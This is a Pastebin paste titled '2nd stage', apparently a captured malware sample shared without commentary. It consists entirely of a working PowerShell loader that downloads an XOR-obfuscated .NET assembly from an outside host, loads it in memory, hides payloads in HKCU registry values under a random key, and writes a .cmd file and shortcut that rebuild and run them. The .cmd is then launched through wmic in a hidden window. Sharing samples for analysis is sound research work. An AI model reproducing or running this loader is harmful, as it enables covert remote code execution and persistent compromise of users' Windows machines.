James_inthe_box

2nd stage

Jan 9th, 2018
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. $bytes = (New-Object Net.WebClient).DownloadData("https://yipe.cebeer.com/?dmdmugyFZKsD9ZtBe8pKTMCSgpReWXlaxKCgYlI1MnfsCILXa3FjxwUoMiMYROSsOSOqjrjbOWurLMjuHl4AB6tr3Eb//fWEH/0b3QI1UsW1iQEr")
  2.  
  3. for($i=0; $i -lt $bytes.count; $i++)
  4. {
  5. $bytes[$i] = $bytes[$i] -bxor 0x6A
  6. }
  7.  
  8. [Reflection.Assembly]::Load($bytes)
  9.  
  10. $rInt = [Loader]::randomInt(4, 16)
  11. $keyName = [Loader]::RandomString($rInt)
  12. $prefix = "$([Loader]::RandomString($rInt))-"
  13.  
  14. [Loader]::Go3("https://yipe.cebeer.com","dWlmsAaAZacEuIJdSOhrb8WFtI5PLQZAwcDca1tITnjlK6L0bndd2ARSTxQoft6IGQeMqJv6NXK6DerhCEAmIqIR/mGlr+D1SfxHl1dgUg==","dmJlugeLa6oKuIJdSOhrb8WFtI5PLQZAwcDca1tITnjlK6L0bndd2ARSTxQoft6IGQeMqJv6NXK6DerhCEAmIqJW1Hbfq+D7R/QUlQUwVw==","dmBlsAyAYqcB8JtBe8pKTMCSgpReWXlaxKCgYlI1MnfsCILXa3FjxwUoMiMYROSsOSOqjrjbPFOwN9DFNHgABIFrwG3R3+WEH/0b3VNiA5PqgQgv","dmFiuAaBZaAAuIJdSOhrb8WFtI5PLQZAwcDca1tITnjlK6L0bndd2ARSTxQoft6IGQeMqJv6NXK6DerhCEAmIqJW1UvMotWjQfBawlFgBZ6/2Q8=",$keyName,$prefix)
  15.  
  16. $var1 = [Loader]::RandomString($rInt)
  17. $var2 = [Loader]::RandomString($rInt)
  18.  
  19. $cmdFileName = "$([Loader]::outDir)\$([Loader]::RandomString([Loader]::randomInt(6, 16))).cmd"
  20.  
  21. $cmdSource = "@Echo off`r`n"
  22. $cmdSource += "Setlocal EnableExtensions`r`n"
  23. $cmdSource += "Setlocal EnableDelayedExpansion`r`n"
  24. $cmdSource += "Set $var1=HKCU`r`n"
  25. $cmdSource += "Set $var1=%$var1%\Software`r`n"
  26. $cmdSource += "Set $var1=%$var1%\$keyName`r`n"
  27. $cmdSource += "Set $var2=`r`n"
  28. $cmdSource += "FOR /F `"usebackq tokens=2*`" %%1 IN (``REG QUERY %$var1% ^| FIND /I `"$prefix`" 2^>nul``) DO (`r`n"
  29. $cmdSource += "Set $var2=!$var2!%%2`r`n"
  30. $cmdSource += ")`r`n"
  31. $cmdSource += "%$var2%`r`n"
  32. $cmdSource | Set-Content $cmdFileName
  33.  
  34. $lnkFileName = "$([Loader]::outDir)\$env:USERNAME.lnk"
  35. $WshShell = New-Object -comObject WScript.Shell
  36. $Shortcut = $WshShell.CreateShortcut($lnkFilename)
  37. $Shortcut.TargetPath = $cmdFileName
  38. $Shortcut.WindowStyle = 7
  39. $Shortcut.Save()
  40.  
  41. Start-Process "$env:SystemRoot\system32\wbem\wmic.exe" "process call create `"$cmdFileName`"" -WindowStyle hidden
Advertisement
Add Comment
Please, Sign In to add comment